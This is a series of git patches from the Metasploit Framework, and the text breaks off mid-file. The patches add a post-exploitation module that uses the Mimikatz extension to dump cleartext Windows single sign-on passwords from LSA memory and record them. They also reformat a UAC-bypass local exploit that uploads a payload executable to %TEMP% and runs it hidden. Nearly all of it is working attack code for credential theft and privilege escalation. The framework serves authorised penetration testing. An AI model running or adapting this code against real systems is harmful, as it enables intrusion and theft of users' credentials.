From 7fb092c58cab65c12ccef319f999ee527d6fd188 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 2 May 2013 22:08:19 +0100 Subject: [PATCH 001/152] Initial commit --- .../extensions/mimikatz/mimikatz.rb | 8 +- .../ui/console/command_dispatcher/mimikatz.rb | 4 +- .../post/windows/gather/credentials/sso.rb | 108 ++++++++++++++++++ 3 files changed, 116 insertions(+), 4 deletions(-) create mode 100644 modules/post/windows/gather/credentials/sso.rb diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index b14d129312..4c35f848f4 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -34,14 +34,18 @@ class Mimikatz < Extension ]) end - def send_custom_command(function, args=[]) + def send_custom_command_raw(function, args=[]) request = Packet.create_request('mimikatz_custom_command') request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) args.each do |a| request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) end response = client.send_request(request) - return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) + return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) + end + + def send_custom_command(function, args=[]) + return Rex::Text.to_ascii(send_custom_command_raw(function, args)) end def parse_creds_result(result) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 53235803a4..53d3f4604b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -103,10 +103,10 @@ class Console::CommandDispatcher::Mimikatz ) accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]] + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] end - print_status table.to_s + print_line table.to_s return true end diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb new file mode 100644 index 0000000000..794db54418 --- /dev/null +++ b/modules/post/windows/gather/credentials/sso.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Priv + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', + 'Description' => %q{ + This module will collect cleartext Single Sign On credentials from the Local + Security Authority using the Mimikatz extension. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Ben Campbell '], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter' ] + )) + end + + def run + print_status("Running module against #{sysinfo['Computer']}") + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + print_error("x64 platform requires x64 meterpreter and mimikatz extension") + return + end + + unless client.mimikatz + vprint_status("Loading mimikatz extension...") + client.core.use("mimikatz") + end + + unless is_system? + vprint_warning("Not running as SYSTEM") + debug = client.mimikatz.send_custom_command("privilege::debug") + if debug =~ /Not all privileges or groups referenced are assigned to the caller/ + print_error("Unable to get Debug privilege") + return + else + vprint_status("Retrieved Debug privilege") + end + end + + vprint_status("Retrieving WDigest") + res = client.mimikatz.wdigest + vprint_status("Retrieving Tspkg") + res.concat client.mimikatz.tspkg + vprint_status("Retrieving Kerberos") + res.concat client.mimikatz.kerberos + vprint_status("Retrieving SSP") + res.concat client.mimikatz.ssp + vprint_status("Retrieving LiveSSP") + livessp = client.mimikatz.livessp + unless livessp.first[:password] =~ /livessp KO/ + res.concat client.mimikatz.livessp + else + vprint_error("LiveSSP credentials not present") + end + + table = Rex::Ui::Text::Table.new( + 'Header' => "Windows SSO Credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) + + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:password]}" }.values + + unique_results.each do |result| + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password].gsub("\n","")] + end + + print_line table.to_s + end + + def report_creds(domain, user, pass) + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end + + report_auth_info( + :host => session.sock.peerhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end + +end From 37efad46bb1651a9cf531f5bda5c67d6032faa18 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 12 May 2013 20:50:53 +0100 Subject: [PATCH 002/152] Address feedback and reporting --- .../post/windows/gather/credentials/sso.rb | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index 794db54418..de53524f13 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -6,12 +6,11 @@ ## require 'msf/core' -require 'msf/core/post/file' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::File include Msf::Auxiliary::Report def initialize(info={}) @@ -19,7 +18,8 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', 'Description' => %q{ This module will collect cleartext Single Sign On credentials from the Local - Security Authority using the Mimikatz extension. + Security Authority using the Mimikatz extension. Blank passwords will not be stored + in the database. }, 'License' => MSF_LICENSE, 'Author' => ['Ben Campbell '], @@ -29,7 +29,12 @@ class Metasploit3 < Msf::Post end def run - print_status("Running module against #{sysinfo['Computer']}") + if sysinfo.nil? + print_error("This module is only available in a windows meterpreter session.") + return + end + print_status("Running module against #{sysinfo['Computer']}") + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) print_error("x64 platform requires x64 meterpreter and mimikatz extension") return @@ -37,7 +42,12 @@ class Metasploit3 < Msf::Post unless client.mimikatz vprint_status("Loading mimikatz extension...") - client.core.use("mimikatz") + begin + client.core.use("mimikatz") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end end unless is_system? @@ -77,16 +87,20 @@ class Metasploit3 < Msf::Post ] ) - unique_results = res.index_by { |r| "#{r[:authid]}#{r[:password]}" }.values + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values unique_results.each do |result| - table << [result[:authid], result[:package], result[:domain], result[:user], result[:password].gsub("\n","")] + pass = result[:password].gsub("\n","") + table << [result[:authid], result[:package], result[:domain], result[:user], pass] + report_creds(result[:domain], result[:user], pass) end print_line table.to_s end def report_creds(domain, user, pass) + return if (user.empty? or pass.empty?) + if session.db_record source_id = session.db_record.id else @@ -94,7 +108,7 @@ class Metasploit3 < Msf::Post end report_auth_info( - :host => session.sock.peerhost, + :host => session.session_host, :port => 445, :sname => 'smb', :proto => 'tcp', From b10d216db2db73f30a3908d2ecca3eec52fb2da9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 12 May 2013 21:06:26 +0100 Subject: [PATCH 003/152] Fix indent --- modules/post/windows/gather/credentials/sso.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index de53524f13..c80be4106f 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -33,7 +33,8 @@ class Metasploit3 < Msf::Post print_error("This module is only available in a windows meterpreter session.") return end - print_status("Running module against #{sysinfo['Computer']}") + + print_status("Running module against #{sysinfo['Computer']}") if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) print_error("x64 platform requires x64 meterpreter and mimikatz extension") From a96739951b33d351fead1492fb247dd1774320cf Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 18 May 2013 16:18:34 +0100 Subject: [PATCH 004/152] Filter out system users --- .../post/windows/gather/credentials/sso.rb | 25 ++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index c80be4106f..e72f1c094c 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -91,9 +91,9 @@ class Metasploit3 < Msf::Post unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values unique_results.each do |result| - pass = result[:password].gsub("\n","") - table << [result[:authid], result[:package], result[:domain], result[:user], pass] - report_creds(result[:domain], result[:user], pass) + next if is_system_user? result[:user] + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] + report_creds(result[:domain], result[:user], result[:password]) end print_line table.to_s @@ -120,4 +120,23 @@ class Metasploit3 < Msf::Post ) end + def is_system_user?(user) + system_users = [ + /^$/, + /^DWM-\d$/, + /^ASPNET$/, + /^ASP\.NET V2\.0 Integrated$/, + /^ANONYMOUS LOGON$/, /^IUSR.*/, + /^IWAM.*/, + /^IIS_WPG$/, + /.*\$$/, + /^LOCAL SERVICE$/, + /^NETWORK SERVICE$/, + /^LOCAL SYSTEM$/ + ] + + return system_users.find{|r| user.match(r)} + end + end + From a96efb5f0dc31469cc3149b510d03da5db8e8c12 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 18 May 2013 16:21:00 +0100 Subject: [PATCH 005/152] Small tidy --- modules/post/windows/gather/credentials/sso.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index e72f1c094c..b1430aae2e 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -126,7 +126,8 @@ class Metasploit3 < Msf::Post /^DWM-\d$/, /^ASPNET$/, /^ASP\.NET V2\.0 Integrated$/, - /^ANONYMOUS LOGON$/, /^IUSR.*/, + /^ANONYMOUS LOGON$/, + /^IUSR.*/, /^IWAM.*/, /^IIS_WPG$/, /.*\$$/, From 1d2d4b53458149391a0abadb1f032088e2ce5eb2 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 25 Jul 2013 18:35:11 +0100 Subject: [PATCH 006/152] Add some null checks --- lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index b14d129312..2ee5667ecb 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -63,11 +63,18 @@ class Mimikatz < Extension def parse_ssp_result(result) details = CSV.parse(result) accounts = [] + + return accounts unless details details.each do |acc| + next unless acc.length == 5 ssps = acc[4].split(' }') + next unless ssps ssps.each do |ssp| + next unless ssp s_acc = ssp.split(' ; ') + next unless s_acc user = s_acc[0].split('{ ')[1] + next unless user account = { :authid => acc[0], :package => acc[1], From d0360733d7dcd4ba6ef164afb6bf398ee1cb0244 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:05:34 -0500 Subject: [PATCH 007/152] Retab changes for PR #2282 --- lib/msf/core/post/windows/priv.rb | 258 ++++++++++---------- modules/exploits/windows/local/bypassuac.rb | 240 +++++++++--------- 2 files changed, 249 insertions(+), 249 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 9944ae9770..646be24b19 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -10,77 +10,77 @@ module Priv include ::Msf::Post::Windows::Accounts - LowIntegrityLevel = 'S-1-16-4096' - MediumIntegrityLevel = 'S-1-16-8192' - HighIntegrityLevel = 'S-1-16-12288' - SystemIntegrityLevel = 'S-1-16-16384' + LowIntegrityLevel = 'S-1-16-4096' + MediumIntegrityLevel = 'S-1-16-8192' + HighIntegrityLevel = 'S-1-16-12288' + SystemIntegrityLevel = 'S-1-16-16384' - Administrators = 'S-1-5-32-544' + Administrators = 'S-1-5-32-544' - # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx - # ConsentPromptBehaviorAdmin - UACNoPrompt = 0 - UACPromptCredsIfSecureDesktop = 1 - UACPromptConsentIfSecureDesktop = 2 - UACPromptCreds = 3 - UACPromptConsent = 4 - UACDefault = 5 + # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx + # ConsentPromptBehaviorAdmin + UACNoPrompt = 0 + UACPromptCredsIfSecureDesktop = 1 + UACPromptConsentIfSecureDesktop = 2 + UACPromptCreds = 3 + UACPromptConsent = 4 + UACDefault = 5 - # - # Returns true if user is admin and false if not. - # - def is_admin? - if session_has_ext - # Assume true if the OS doesn't expose this (Windows 2000) - session.railgun.shell32.IsUserAnAdmin()["return"] rescue true - else - cmd = "cmd.exe /c reg query HKU\\S-1-5-19" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if user is admin and false if not. + # + def is_admin? + if session_has_ext + # Assume true if the OS doesn't expose this (Windows 2000) + session.railgun.shell32.IsUserAnAdmin()["return"] rescue true + else + cmd = "cmd.exe /c reg query HKU\\S-1-5-19" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end - # - # Returns true if in the administrator group - # - def is_in_admin_group? - whoami = get_whoami + # + # Returns true if in the administrator group + # + def is_in_admin_group? + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify admin group membership") - return nil - elsif whoami.include? Administrators - return true - else - return false - end - end + if whoami.nil? + print_error("Unable to identify admin group membership") + return nil + elsif whoami.include? Administrators + return true + else + return false + end + end - # - # Returns true if running as Local System - # - def is_system? - if session_has_ext - local_sys = resolve_sid("S-1-5-18") - if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" - return true - else - return false - end - else - cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if running as Local System + # + def is_system? + if session_has_ext + local_sys = resolve_sid("S-1-5-18") + if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" + return true + else + return false + end + else + cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end # # Returns true if UAC is enabled @@ -92,10 +92,10 @@ module Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ - unless is_system? - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) + if winversion =~ /Windows (Vista|7|8|2008)/ + unless is_system? + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) if key.query_value('EnableLUA').data == 1 uac = true @@ -110,71 +110,71 @@ module Priv return uac end - # - # Returns the UAC Level - # - # 2 - Always Notify, 5 - Default, 0 - Disabled - # - def get_uac_level - begin - open_key = session.sys.registry.open_key( - HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - KEY_READ - ) - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') - rescue Exception => e - print_error("Error Checking UAC: #{e.class} #{e}") - end - return uac_level.data - end + # + # Returns the UAC Level + # + # 2 - Always Notify, 5 - Default, 0 - Disabled + # + def get_uac_level + begin + open_key = session.sys.registry.open_key( + HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + KEY_READ + ) + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') + rescue Exception => e + print_error("Error Checking UAC: #{e.class} #{e}") + end + return uac_level.data + end - # - # Returns the Integrity Level - # - def get_integrity_level - whoami = get_whoami + # + # Returns the Integrity Level + # + def get_integrity_level + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify integrity level") - return nil - elsif whoami.include? LowIntegrityLevel - return LowIntegrityLevel - elsif whoami.include? MediumIntegrityLevel - return MediumIntegrityLevel - elsif whoami.include? HighIntegrityLevel - return HighIntegrityLevel - elsif whoami.include? SystemIntegrityLevel - return SystemIntegrityLevel - end - end + if whoami.nil? + print_error("Unable to identify integrity level") + return nil + elsif whoami.include? LowIntegrityLevel + return LowIntegrityLevel + elsif whoami.include? MediumIntegrityLevel + return MediumIntegrityLevel + elsif whoami.include? HighIntegrityLevel + return HighIntegrityLevel + elsif whoami.include? SystemIntegrityLevel + return SystemIntegrityLevel + end + end - # - # Returns the output of whoami /groups - # - # Returns nil if Windows whoami is not available - # - def get_whoami - whoami = cmd_exec('cmd /c whoami /groups') + # + # Returns the output of whoami /groups + # + # Returns nil if Windows whoami is not available + # + def get_whoami + whoami = cmd_exec('cmd /c whoami /groups') - if whoami.nil? or whoami.empty? - return nil - elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ - return nil - else - return whoami - end - end + if whoami.nil? or whoami.empty? + return nil + elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + return nil + else + return whoami + end + end - # - # Return true if the session has extended capabilities (ie meterpreter) - # - def session_has_ext - begin - return !!(session.railgun and session.sys.config) - rescue NoMethodError - return false - end - end + # + # Return true if the session has extended capabilities (ie meterpreter) + # + def session_has_ext + begin + return !!(session.railgun and session.sys.config) + rescue NoMethodError + return false + end + end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 81e2287544..3a5efd4077 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -12,148 +12,148 @@ require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = ExcellentRanking - include Post::Common - include Exploit::EXE - include Post::File - include Post::Windows::Priv + include Post::Common + include Exploit::EXE + include Post::File + include Post::Windows::Priv - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the trusted publisher - certificate through process injection. It will spawn a second shell that - has the UAC flag turned off. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'David Kennedy "ReL1K" ', - 'mitnick', - 'mubix' # Port to local exploit - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] - ], - 'DisclosureDate'=> "Dec 31 2010" - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the trusted publisher + certificate through process injection. It will spawn a second shell that + has the UAC flag turned off. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'David Kennedy "ReL1K" ', + 'mitnick', + 'mubix' # Port to local exploit + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] + ], + 'DisclosureDate'=> "Dec 31 2010" + )) - end + end - def exploit + def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? - # - # Verify use against Vista+ - # - winver = sysinfo["OS"] - if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") - end + # + # Verify use against Vista+ + # + winver = sysinfo["OS"] + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ + fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") + end - if is_uac_enabled? - print_status "UAC is Enabled, checking level..." - else - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" - ) - end + if is_uac_enabled? + print_status "UAC is Enabled, checking level..." + else + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" + ) + end - case get_uac_level - when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UACDefault - print_good "UAC is set to Default" - print_status "BypassUAC can bypass this setting, continuing..." - when UACNoPrompt - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" - ) - end + case get_uac_level + when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UACDefault + print_good "UAC is set to Default" + print_status "BypassUAC can bypass this setting, continuing..." + when UACNoPrompt + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" + ) + end - # Check if you are an admin - print_status('Checking admin status...') - admin_group = is_in_admin_group? + # Check if you are an admin + print_status('Checking admin status...') + admin_group = is_in_admin_group? - if admin_group.nil? - print_error('Either whoami is not there or failed to execute') - print_error('Continuing under assumption you already checked...') - else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - print_error('Not in admins group, cannot escalate with this module') - print_error('Exiting...') - return - end - end + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + print_error('Not in admins group, cannot escalate with this module') + print_error('Exiting...') + return + end + end - if get_integrity_level == LowIntegrityLevel - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") - end + if get_integrity_level == LowIntegrityLevel + fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + end - # - # Generate payload and random names for upload - # - payload = generate_payload_exe + # + # Generate payload and random names for upload + # + payload = generate_payload_exe - # randomize the bypass_uac_filename - bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the bypass_uac_filename + bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # randomize the payload exe name - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the payload exe name + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") + # path to the bypassuac binary + path = ::File.join(Msf::Config.install_root, "data", "post") - # decide, x86 or x64 - bpexe = nil - if sysinfo["Architecture"] =~ /x64/i - bpexe = ::File.join(path, "bypassuac-x64.exe") - else - bpexe = ::File.join(path, "bypassuac-x86.exe") - end + # decide, x86 or x64 + bpexe = nil + if sysinfo["Architecture"] =~ /x64/i + bpexe = ::File.join(path, "bypassuac-x64.exe") + else + bpexe = ::File.join(path, "bypassuac-x86.exe") + end - tmpdir = session.fs.file.expand_path("%TEMP%") - cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" + tmpdir = session.fs.file.expand_path("%TEMP%") + cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" - print_status("Uploading the bypass UAC executable to the filesystem...") + print_status("Uploading the bypass UAC executable to the filesystem...") - begin - # - # Upload UAC bypass to the filesystem - # - session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) - print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + payload_filename - fd = client.fs.file.new(tempexe, "wb") - fd.write(payload) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") - return - end + begin + # + # Upload UAC bypass to the filesystem + # + session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) + print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") + # + # Upload the payload to the filesystem + # + tempexe = tmpdir + "\\" + payload_filename + fd = client.fs.file.new(tempexe, "wb") + fd.write(payload) + fd.close + rescue ::Exception => e + print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") + return + end - print_status("Uploaded the agent to the filesystem....") + print_status("Uploaded the agent to the filesystem....") - # execute the payload - session.sys.process.execute(cmd, nil, {'Hidden' => true}) + # execute the payload + session.sys.process.execute(cmd, nil, {'Hidden' => true}) - # delete the uac bypass payload - delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" + # delete the uac bypass payload + delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" - session.sys.process.execute(delete_file, nil, {'Hidden' => true}) - end + session.sys.process.execute(delete_file, nil, {'Hidden' => true}) + end end From daed98931e8e2e9b029863dd22e8764a201b0b39 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:19:55 -0500 Subject: [PATCH 008/152] Retab changes for PR #2158 --- .../extensions/mimikatz/mimikatz.rb | 172 +++++++++--------- 1 file changed, 86 insertions(+), 86 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index 2ee5667ecb..c3ea4dd08a 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -22,103 +22,103 @@ module Mimikatz class Mimikatz < Extension - def initialize(client) - super(client, 'mimikatz') + def initialize(client) + super(client, 'mimikatz') - client.register_extension_aliases( - [ - { - 'name' => 'mimikatz', - 'ext' => self - }, - ]) - end + client.register_extension_aliases( + [ + { + 'name' => 'mimikatz', + 'ext' => self + }, + ]) + end - def send_custom_command(function, args=[]) - request = Packet.create_request('mimikatz_custom_command') - request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) - args.each do |a| - request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) - end - response = client.send_request(request) - return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) - end + def send_custom_command(function, args=[]) + request = Packet.create_request('mimikatz_custom_command') + request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) + args.each do |a| + request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) + end + response = client.send_request(request) + return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) + end - def parse_creds_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - account = { - :authid => acc[0], - :package => acc[1], - :user => acc[2], - :domain => acc[3], - :password => acc[4] - } - accounts << account - end - return accounts - end + def parse_creds_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + account = { + :authid => acc[0], + :package => acc[1], + :user => acc[2], + :domain => acc[3], + :password => acc[4] + } + accounts << account + end + return accounts + end - def parse_ssp_result(result) - details = CSV.parse(result) - accounts = [] + def parse_ssp_result(result) + details = CSV.parse(result) + accounts = [] - return accounts unless details - details.each do |acc| - next unless acc.length == 5 - ssps = acc[4].split(' }') - next unless ssps - ssps.each do |ssp| - next unless ssp - s_acc = ssp.split(' ; ') - next unless s_acc - user = s_acc[0].split('{ ')[1] - next unless user - account = { - :authid => acc[0], - :package => acc[1], - :user => user, - :domain => s_acc[1], - :password => s_acc[2], - :orig_user => acc[2], - :orig_domain => acc[3] - } - accounts << account - end - end - return accounts - end + return accounts unless details + details.each do |acc| + next unless acc.length == 5 + ssps = acc[4].split(' }') + next unless ssps + ssps.each do |ssp| + next unless ssp + s_acc = ssp.split(' ; ') + next unless s_acc + user = s_acc[0].split('{ ')[1] + next unless user + account = { + :authid => acc[0], + :package => acc[1], + :user => user, + :domain => s_acc[1], + :password => s_acc[2], + :orig_user => acc[2], + :orig_domain => acc[3] + } + accounts << account + end + end + return accounts + end - def wdigest - result = send_custom_command('sekurlsa::wdigest') - return parse_creds_result(result) - end + def wdigest + result = send_custom_command('sekurlsa::wdigest') + return parse_creds_result(result) + end - def msv - result = send_custom_command('sekurlsa::msv') - return parse_creds_result(result) - end + def msv + result = send_custom_command('sekurlsa::msv') + return parse_creds_result(result) + end - def livessp - result = send_custom_command('sekurlsa::livessp') - return parse_creds_result(result) - end + def livessp + result = send_custom_command('sekurlsa::livessp') + return parse_creds_result(result) + end - def ssp - result = send_custom_command('sekurlsa::ssp') - return parse_ssp_result(result) - end + def ssp + result = send_custom_command('sekurlsa::ssp') + return parse_ssp_result(result) + end - def tspkg - result = send_custom_command('sekurlsa::tspkg') - return parse_creds_result(result) - end + def tspkg + result = send_custom_command('sekurlsa::tspkg') + return parse_creds_result(result) + end - def kerberos - result = send_custom_command('sekurlsa::kerberos') - return parse_creds_result(result) - end + def 